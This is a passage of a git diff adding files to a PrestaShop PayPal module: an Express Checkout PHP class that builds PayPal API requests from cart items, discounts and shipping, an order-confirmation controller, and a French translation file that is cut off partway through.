Configuration::get('PAYPAL_API_PASSWORD'); + $fields['SIGNATURE'] = Configuration::get('PAYPAL_API_SIGNATURE'); + + if ($access_token) + $fields['IDENTITYACCESSTOKEN'] = $access_token; + + $this->callAPI($fields); + $this->_storeToken(); + } + + public function setCancelUrl(&$fields) + { + $url = urldecode(Tools::getValue('current_shop_url')); + $parsed_data = parse_url($url); + + $parsed_data['scheme'] .= '://'; + + if (isset($parsed_data['path'])) + { + $parsed_data['path'] .= '?paypal_ec_canceled=1&'; + $parsed_data['query'] = isset($parsed_data['query']) ? $parsed_data['query'] : null; + } + else + { + $parsed_data['path'] = '?paypal_ec_canceled=1&'; + $parsed_data['query'] = '/'.(isset($parsed_data['query']) ? $parsed_data['query'] : null); + } + + $cancel_url = implode($parsed_data); + + if (!empty($cancel_url)) + $fields['CANCELURL'] = $cancel_url; + } + + public function getExpressCheckout() + { + $this->method = 'GetExpressCheckoutDetails'; + $fields['TOKEN'] = $this->token; + + $this->initParameters(); + $this->callAPI($fields); + + // The same token of SetExpressCheckout + $this->_storeToken(); + } + + public function doExpressCheckout() + { + $this->method = 'DoExpressCheckoutPayment'; + + $fields['TOKEN'] = $this->token; + $fields['PAYERID'] = $this->payer_id; + + if (count($this->product_list) <= 0) + $this->initParameters(); + + // Set payment detail (reference) + $this->_setPaymentDetails($fields); + $this->callAPI($fields); + + $this->result += $fields; + } + + private function callAPI($fields) + { + $this->logs = array(); + $paypal_lib = new PaypalLib(); + + $this->result = $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), $this->method, $fields, $this->method_version); + $this->logs = array_merge($this->logs, $paypal_lib->getLogs()); + + $this->_storeToken(); + } + + private function _setPaymentDetails(&$fields) + { + // Required field + $fields['RETURNURL'] = PayPal::getShopDomainSsl(true, true)._MODULE_DIR_.$this->name.'/express_checkout/payment.php'; + $fields['NOSHIPPING'] = '1'; + $fields['BUTTONSOURCE'] = $this->getTrackingCode((int)Configuration::get('PAYPAL_PAYMENT_METHOD')); + + // Products + $taxes = $total = 0; + $index = -1; + + // Set cart products list + $this->setProductsList($fields, $index, $total, $taxes); + $this->setDiscountsList($fields, $index, $total, $taxes); + $this->setGiftWrapping($fields, $index, $total); + + // Payment values + $this->setPaymentValues($fields, $index, $total, $taxes); + + $id_address = (int)$this->context->cart->id_address_delivery; + if (($id_address == 0) && ($this->context->customer)) + $id_address = Address::getFirstCustomerAddressId($this->context->customer->id); + + if ($id_address && method_exists($this->context->cart, 'isVirtualCart') && !$this->context->cart->isVirtualCart()) + $this->setShippingAddress($fields, $id_address); + else + $fields['NOSHIPPING'] = '0'; + + foreach ($fields as &$field) + if (is_numeric($field)) + $field = str_replace(',', '.', $field); + } + + private function setShippingAddress(&$fields, $id_address) + { + $address = new Address($id_address); + + $fields['ADDROVERRIDE'] = '1'; + $fields['EMAIL'] = $this->context->customer->email; + $fields['PAYMENTREQUEST_0_SHIPTONAME'] = $address->firstname.' '.$address->lastname; + $fields['PAYMENTREQUEST_0_SHIPTOPHONENUM'] = (empty($address->phone)) ? $address->phone_mobile : $address->phone; + $fields['PAYMENTREQUEST_0_SHIPTOSTREET'] = $address->address1; + $fields['PAYMENTREQUEST_0_SHIPTOSTREET2'] = $address->address2; + $fields['PAYMENTREQUEST_0_SHIPTOCITY'] = $address->city; + + if ($address->id_state) + { + $state = new State((int)$address->id_state); + $fields['PAYMENTREQUEST_0_SHIPTOSTATE'] = $state->iso_code; + } + + $country = new Country((int)$address->id_country); + $fields['PAYMENTREQUEST_0_SHIPTOCOUNTRYCODE'] = $country->iso_code; + $fields['PAYMENTREQUEST_0_SHIPTOZIP'] = $address->postcode; + } + + private function setProductsList(&$fields, &$index, &$total) + { + foreach ($this->product_list as $product) + { + $fields['L_PAYMENTREQUEST_0_NUMBER'.++$index] = (int)$product['id_product']; + + $fields['L_PAYMENTREQUEST_0_NAME'.$index] = $product['name']; + + if (isset($product['attributes']) && (empty($product['attributes']) === false)) + $fields['L_PAYMENTREQUEST_0_NAME'.$index] .= ' - '.$product['attributes']; + + $fields['L_PAYMENTREQUEST_0_DESC'.$index] = Tools::substr(strip_tags($product['description_short']), 0, 50).'...'; + + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = Tools::ps_round($product['price_wt'], $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = $product['quantity']; + + $total = $total + ($fields['L_PAYMENTREQUEST_0_AMT'.$index] * $product['quantity']); + } + } + + private function setDiscountsList(&$fields, &$index, &$total) + { + $discounts = (_PS_VERSION_ < '1.5') ? $this->context->cart->getDiscounts() : $this->context->cart->getCartRules(); + + if (count($discounts) > 0) + foreach ($discounts as $discount) + { + $fields['L_PAYMENTREQUEST_0_NUMBER'.++$index] = $discount['id_discount']; + + $fields['L_PAYMENTREQUEST_0_NAME'.$index] = $discount['name']; + if (isset($discount['description']) && !empty($discount['description'])) + $fields['L_PAYMENTREQUEST_0_DESC'.$index] = Tools::substr(strip_tags($discount['description']), 0, 50).'...'; + + /* It is a discount so we store a negative value */ + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = - 1 * Tools::ps_round($discount['value_real'], $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = 1; + + $total = Tools::ps_round($total + $fields['L_PAYMENTREQUEST_0_AMT'.$index], $this->decimals); + } + } + + private function setGiftWrapping(&$fields, &$index, &$total) + { + if ($this->context->cart->gift == 1) + { + $gift_wrapping_price = $this->getGiftWrappingPrice(); + + $fields['L_PAYMENTREQUEST_0_NAME'.++$index] = $this->l('Gift wrapping'); + + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = Tools::ps_round($gift_wrapping_price, $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = 1; + + $total = Tools::ps_round($total + $gift_wrapping_price, $this->decimals); + } + } + + private function setPaymentValues(&$fields, &$index, &$total, &$taxes) + { + if (version_compare(_PS_VERSION_, '1.5', '<')) + $shipping_cost_wt = $this->context->cart->getOrderShippingCost(); + else + $shipping_cost_wt = $this->context->cart->getTotalShippingCost(); + + if ((bool)Configuration::get('PAYPAL_CAPTURE')) + $fields['PAYMENTREQUEST_0_PAYMENTACTION'] = 'Authorization'; + else + $fields['PAYMENTREQUEST_0_PAYMENTACTION'] = 'Sale'; + + $currency = new Currency((int)$this->context->cart->id_currency); + $fields['PAYMENTREQUEST_0_CURRENCYCODE'] = $currency->iso_code; + + /** + * If the total amount is lower than 1 we put the shipping cost as an item + * so the payment could be valid. + */ + if ($total <= 1) + { + $carrier = new Carrier($this->context->cart->id_carrier); + $fields['L_PAYMENTREQUEST_0_NUMBER'.++$index] = $carrier->id_reference; + $fields['L_PAYMENTREQUEST_0_NAME'.$index] = $carrier->name; + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = Tools::ps_round($shipping_cost_wt, $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = 1; + + $fields['PAYMENTREQUEST_0_ITEMAMT'] = Tools::ps_round($total, $this->decimals) + Tools::ps_round($shipping_cost_wt, $this->decimals); + $fields['PAYMENTREQUEST_0_AMT'] = $total + Tools::ps_round($shipping_cost_wt, $this->decimals); + } + else + { + $fields['PAYMENTREQUEST_0_SHIPPINGAMT'] = sprintf('%.2f', $shipping_cost_wt); + $fields['PAYMENTREQUEST_0_ITEMAMT'] = Tools::ps_round($total, $this->decimals); + $fields['PAYMENTREQUEST_0_AMT'] = sprintf('%.2f', ($total + $fields['PAYMENTREQUEST_0_SHIPPINGAMT'])); + } + } + + public function rightPaymentProcess() + { + $total = $this->getTotalPaid(); + + // float problem with php, have to use the string cast. + if ((isset($this->result['AMT']) && ((string)$this->result['AMT'] != (string)$total)) || + (isset($this->result['PAYMENTINFO_0_AMT']) && ((string)$this->result['PAYMENTINFO_0_AMT'] != (string)$total))) + return false; + return true; + } + + /** + * @return mixed + */ + public function getTotalPaid() + { + $total = 0.00; + + foreach ($this->product_list as $product) + { + $price = Tools::ps_round($product['price_wt'], $this->decimals); + $quantity = Tools::ps_round($product['quantity'], $this->decimals); + $total = Tools::ps_round($total + ($price * $quantity), $this->decimals); + } + + if ($this->context->cart->gift == 1) + $total = Tools::ps_round($total + $this->getGiftWrappingPrice(), $this->decimals); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $discounts = $this->context->cart->getDiscounts(); + $shipping_cost = $this->context->cart->getOrderShippingCost(); + } + else + { + $discounts = $this->context->cart->getCartRules(); + $shipping_cost = $this->context->cart->getTotalShippingCost(); + } + + if (count($discounts) > 0) + foreach ($discounts as $product) + { + $price = - 1 * Tools::ps_round($product['value_real'], $this->decimals); + $total = Tools::ps_round($total + $price, $this->decimals); + } + + return Tools::ps_round($shipping_cost, $this->decimals) + $total; + } + + private function _storeToken() + { + if (is_array($this->result) && isset($this->result['TOKEN'])) + $this->token = (string)$this->result['TOKEN']; + } + + // Store data for the next reloading page + private function _storeCookieInfo() + { + $tab = array(); + + foreach ($this->cookie_key as $key) + $tab[$key] = $this->{$key}; + + $this->context->cookie->{self::$cookie_name} = serialize($tab); + } + + public function hasSucceedRequest() + { + if (is_array($this->result)) + foreach (array('ACK', 'PAYMENTINFO_0_ACK') as $key) + if (isset($this->result[$key]) && Tools::strtoupper($this->result[$key]) == 'SUCCESS') + return true; + + return false; + } + + private function getSecureKey() + { + if (!count($this->product_list)) + $this->initParameters(); + + $key = array(); + + foreach ($this->product_list as $product) + { + $id_product = $product['id_product']; + $id_product_attribute = $product['id_product_attribute']; + $quantity = $product['quantity']; + + $key[] = $id_product.$id_product_attribute.$quantity._COOKIE_KEY_; + } + + return md5(serialize($key)); + } + + public function isProductsListStillRight() + { + return $this->secure_key == $this->getSecureKey(); + } + + public function setExpressCheckoutType($type) + { + if (in_array($type, $this->available_type)) + { + $this->type = $type; + return true; + } + return false; + } + + public function redirectToAPI() + { + $this->secure_key = $this->getSecureKey(); + $this->_storeCookieInfo(); + + if ($this->useMobile()) + $url = '/cgi-bin/webscr?cmd=_express-checkout-mobile'; + else + $url = '/websc&cmd=_express-checkout'; + + Tools::redirectLink('https://'.$this->getPayPalURL().$url.'&token='.urldecode($this->token)); + exit(0); + } + + public function redirectToCheckout($customer, $redirect = false) + { + $this->ready = true; + $this->_storeCookieInfo(); + + $this->context->cookie->id_customer = (int)$customer->id; + $this->context->cookie->customer_lastname = $customer->lastname; + $this->context->cookie->customer_firstname = $customer->firstname; + $this->context->cookie->passwd = $customer->passwd; + $this->context->cookie->email = $customer->email; + $this->context->cookie->is_guest = $customer->isGuest(); + $this->context->cookie->logged = 1; + + if (version_compare(_PS_VERSION_, '1.5', '<')) + Module::hookExec('authentication'); + else + Hook::exec('authentication'); + + if ($redirect) + { + $link = $this->context->link->getPageLink('order.php', false, null, array('step' => '3')); + Tools::redirectLink($link); + exit(0); + } + } +} diff --git a/modules/paypal/express_checkout/submit.php b/modules/paypal/express_checkout/submit.php new file mode 100755 index 0000000..4830f82 --- /dev/null +++ b/modules/paypal/express_checkout/submit.php @@ -0,0 +1,101 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +if (version_compare(_PS_VERSION_, '1.5', '<')) + require_once(_PS_ROOT_DIR_.'/controllers/OrderConfirmationController.php'); + +/** + * 1.4 Retro-compatibility class + */ +class PayPalExpressCheckoutSubmit extends OrderConfirmationControllerCore +{ + public function __construct() + { + $this->paypal = new PayPal(); + $this->context = $this->paypal->context; + + parent::__construct(); + + $this->run(); + } + + public function displayContent() + { + $id_order = (int)Tools::getValue('id_order'); + + $order = new Order($id_order); + $paypal_order = PayPalOrder::getOrderById($id_order); + + $price = Tools::displayPrice($paypal_order['total_paid'], $this->context->currency); + + $order_state = new OrderState($id_order); + + if ($order_state) + $order_state_message = $order_state->template[$this->context->language->id]; + + if (!$order || !$order_state || (isset($order_state_message) && ($order_state_message == 'payment_error'))) + { + $this->context->smarty->assign( + array( + 'logs' => array($this->paypal->l('An error occurred while processing payment.')), + 'order' => $paypal_order, + 'price' => $price, + ) + ); + + if (isset($order_state_message) && $order_state_message) + $this->context->smarty->assign('message', $order_state_message); + + $template = 'error.tpl'; + } + else + { + $this->context->smarty->assign( + array( + 'order' => $paypal_order, + 'price' => $price, + ) + ); + + if(version_compare(_PS_VERSION_, '1.5', '>')) + { + + $this->context->smarty->assign(array( + 'reference_order' => Order::getUniqReferenceOf($paypal_order['id_order']) + )); + } + + + $template = 'order-confirmation.tpl'; + } + + $this->context->smarty->assign('use_mobile', (bool) $this->paypal->useMobile()); + echo $this->paypal->fetchTemplate($template); + } +} diff --git a/modules/paypal/fr.php b/modules/paypal/fr.php new file mode 100755 index 0000000..8f9281b --- /dev/null +++ b/modules/paypal/fr.php @@ -0,0 +1,126 @@ +paypal_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acceptez le paiements par cartes de crédits (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) avec PayPal.'; +$_MODULE['<{paypal}prestashop>paypal_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Êtes-vous certain de vouloir supprimer vos informations ?'; +$_MODULE['<{paypal}prestashop>paypal_8b57f95f1e9cf09dc028fa5a671781ff'] = 'Toutes les fonctionnalités du module PayPal API sont incluses dans le nouveau module PayPal. Avant tout, pour ne pas rencontrer de conflits, veuillez ne pas utiliser ou supprimer le module PayPal API.'; +$_MODULE['<{paypal}prestashop>paypal_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Vous devez renseigner vos identifiants PayPal Integral pour que votre thème mobile fonctionne correctement.'; +$_MODULE['<{paypal}prestashop>paypal_bd6b3cca1e559117a964cdfab6a977cf'] = 'Le thème mobile fonctionne seulement avec la solution de paiement mobile PayPal. Veuillez activer le module pour bénéficier de possibilités de paiements.'; +$_MODULE['<{paypal}prestashop>paypal_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Avant d\'utiliser le module vous devez installer le module \"Rétro-compatibilité\".'; +$_MODULE['<{paypal}prestashop>paypal_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement le module \"Rétro-compatibilité\" doit être activé.'; +$_MODULE['<{paypal}prestashop>paypal_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module requiert le module \"Rétro-compatibilité\" v'; +$_MODULE['<{paypal}prestashop>paypal_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulation des produits :'; +$_MODULE['<{paypal}prestashop>paypal_90ab0cfd410722553c79e614207a789a'] = 'Certains champs sont vides.'; +$_MODULE['<{paypal}prestashop>paypal_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Les champs des identifiants ne peuvent être vides'; +$_MODULE['<{paypal}prestashop>paypal_3f7145179c909f0e87a911a3171986b6'] = 'Le champs E-mail professionnel ne peut être vide'; +$_MODULE['<{paypal}prestashop>paypal_e5d5d9f40763cfe6549bef705e3529a7'] = 'Le message de paiement n\'est pas valide, veuillez vérifier votre module'; +$_MODULE['<{paypal}prestashop>paypal_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide'; +$_MODULE['<{paypal}prestashop>paypal_eec39bf42bd135971fb2d838c67d1449'] = 'Opération de remboursement :'; +$_MODULE['<{paypal}prestashop>paypal_2ab62d1a578713d0862b56819295630e'] = 'Remboursement PayPal confirmé !'; +$_MODULE['<{paypal}prestashop>paypal_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erreur de transaction !'; +$_MODULE['<{paypal}prestashop>paypal_67962779da962e3d4225055afc05e7bd'] = 'Résultat de la capture :'; +$_MODULE['<{paypal}prestashop>paypal_8778ee03f6592d5fec9a1f2ee851e476'] = 'Commande terminée avec PayPal !'; +$_MODULE['<{paypal}prestashop>paypal_672d40feac6437e49f771019bc330790'] = 'Statu de la vérification :'; +$_MODULE['<{paypal}prestashop>paypal_1828820cc60e36b6f9fdf60cab103ed7'] = 'Vous utilisez actuellement l\'adresse PayPal par défaut, veuillez entrer votre propre adresse.'; +$_MODULE['<{paypal}prestashop>back_office_748eadce9cf4f2bde207b63c5441da07'] = 'Utilisez la Fonction PayPal Login'; +$_MODULE['<{paypal}prestashop>back_office_cded4ac9f77c68c750c243af1f5263c5'] = ' (*voir le '; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Ouvre une nouvelle connection vers'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Echec de la connection avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connection réussie avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envoie des paramètres :'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Echec de l\'envoie avec la méthode cURL ! Erreur :'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envoie réussi avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Echec de la connection avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Echec de l\'envoie avec la méthode fsockopen ! Erreur :'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envoie réussi avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Réponse PayPal :'; +$_MODULE['<{paypal}prestashop>submit_67a3fcdb7708219b9d5d6269ad8c4a86'] = 'Une erreur est survenue pendant le processus de paiement.'; +$_MODULE['<{paypal}prestashop>payment_d141a42a5e72c871a3116414bb5c64c1'] = 'Création du nouveau panier impossible'; +$_MODULE['<{paypal}prestashop>payment_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Une erreur est survenue :'; +$_MODULE['<{paypal}prestashop>payment_dca16503c563d9fdec70d18f2ab653a4'] = 'Erreur lors de la préparation du paiement par Express Checkout'; +$_MODULE['<{paypal}prestashop>payment_51da74120dd5e11817ef21e27d2599bc'] = 'Impossible de créer un nouvel utilisateur'; +$_MODULE['<{paypal}prestashop>payment_bcf08b34ab427cb871635151c6976eb0'] = 'Impossible de créer la nouvelle adresse'; +$_MODULE['<{paypal}prestashop>payment_ca5cecfc8fd8e585ba1e684757168158'] = 'Impossible de mettre à jour le panier'; +$_MODULE['<{paypal}prestashop>payment_ada2b5d5bbf3065de283d61526141780'] = 'En attente de capture du paiement.'; +$_MODULE['<{paypal}prestashop>payment_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}prestashop>payment_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}prestashop>payment_98825385aadb1d0dd0fd133ef8acd23d'] = 'Impossible de créer la commande'; +$_MODULE['<{paypal}prestashop>payment_085b78e060c3ef4cc37bd25abd06ff66'] = 'Le panier a changé depuis la dernière tentative de paiement. Veuillez recommencer le processus de paiement s\'il vous plait.'; +$_MODULE['<{paypal}prestashop>payment_572da7ef1411f2a12409e752f3eb2f7a'] = 'Votre panier et vide.'; +$_MODULE['<{paypal}prestashop>process_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide.'; +$_MODULE['<{paypal}prestashop>process_484f5a79672cebe198ebdde45a1d672f'] = 'Emballage cadeau.'; +$_MODULE['<{paypal}prestashop>notifier_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Panier mis à jour, merci de ré-essayer.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}prestashop>back_office_ae3cebe661e92cdfd12516419fef4f2d'] = 'Télécharger le'; +$_MODULE['<{paypal}prestashop>back_office_e73756d0d2306110f29ccf28cb69c412'] = 'Guide d\'intégration de PayPal'; +$_MODULE['<{paypal}prestashop>back_office_6506302a6e11077ecbc04b5932a65c4c'] = 'sur PrestaShop et suivez les étapes pas à pas'; +$_MODULE['<{paypal}prestashop>back_office_2bb43922e3352246f487e05c6ac41f27'] = 'Utiliser la Fonction PayPal Login (* voir le'; +$_MODULE['<{paypal}prestashop>back_office_606d8f704cf61d29bffd5195f28af29e'] = 'Guide d\'Intégration'; +$_MODULE['<{paypal}prestashop>back_office_a1694ad810c4ac5b56b59c47db01cb05'] = 'et suivre les étapes de mise en place'; +$_MODULE['<{paypal}prestashop>back_office_3650f874df7e9c6e822a872d02cee6d5'] = 'Cette fonction permet à vos clients de se connecter avec leurs identifiants PayPal pour raccourcir le tunnel d\'achat'; +$_MODULE['<{paypal}prestashop>back_office_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{paypal}prestashop>back_office_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{paypal}prestashop>back_office_9be4e88898c4e88363208d2472f4a406'] = 'Renseignez les informations liées à votre compte PayPal'; +$_MODULE['<{paypal}prestashop>back_office_4ff2e716a7d06ce5274b4090b39abad3'] = 'Voir'; +$_MODULE['<{paypal}prestashop>back_office_8646a5d7b2817d30950357da8d80a11f'] = 'le Guide d\'Intégration'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erreur !'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Capture PayPal'; +$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Les fonds sont prêts à être capturés avant expédition'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Récupérer les fonds'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Remboursement PayPal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Paiement accepté'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Lorsque vous remboursez un produit, un remboursement partiel est effectué sauf si vous sélectionnez l\'option \"Générer un bon de réduction\"'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Etes-vous sûr ?'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Remboursement total de la transaction'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validation PayPal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Capture en attente - Pas d\'expédition'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Paiement en attente - Pas d\'expédition'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Vérifier l\'état du paiement'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Qu\'est-ce que PayPal ?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader incontesté en matière de paiement en ligne, permet aux acheteurs et aux vendeurs d\'envoyer et de recevoir des paiements en ligne. PayPal compte plus de 100 millions de comptes dans 190 pays et régions du monde. Il est accepté par les marchands partout, à la fois sur eBay et en dehors d\'eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'Est-ce un service sécurisé ?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal contribue à protéger les informations concernant votre carte bancaire grâce aux meilleurs systèmes présents sur le marché pour la sécurité et la prévention contre la fraude. Lorsque vous utilisez PayPal, vos informations financières ne sont jamais communiquées au marchand.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Pourquoi utiliser PayPal ?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Effectuez des achats ou envoyez des paiements avec PayPal : c\'est gratuit.'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Achetez et payez en toute tranquillité en enregistrant vos informations auprès de PayPal.'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal est accepté par des millions de marchands dans le monde et constitue le mode de paiement le plus utilisé sur eBay.'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Utilisez PayPal dès aujourd\'hui !'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_f47106270a2928f350f357e255a2c2ac'] = 'Veuillez contacter le marchant:'; +$_MODULE['<{paypal}prestashop>error_d5860edcd3078f86ee963c27654bc6cf'] = 'Montant total de la transaction (taxes incl) :'; +$_MODULE['<{paypal}prestashop>error_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'L\'ID de votre commande est :'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Précédent'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmation de commande'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total de la transaction (TTC) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Votre numéro de commande est le :'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'Votre numéro de transaction PayPal est :'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Suivre ma commande'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Retour aux commandes'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Résumé de la commande'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Paiement par PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Vous avez choisi de payer par PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un résumé de votre commande'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande est'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(tax incl.)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nous acceptons les devises suivantes avec PayPal :'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payer par PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'est bien enregistrée.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Vous avez choisi de payer avec PayPal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Votre commande vous sera envoyée très prochainement.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire merci de contacter notre'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'support client'; +$_MODULE['<{paypal}prestashop>express_checkout_payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}prestashop>express_checkout_shortcut_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}prestashop>integral_evolution_payment_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Retour 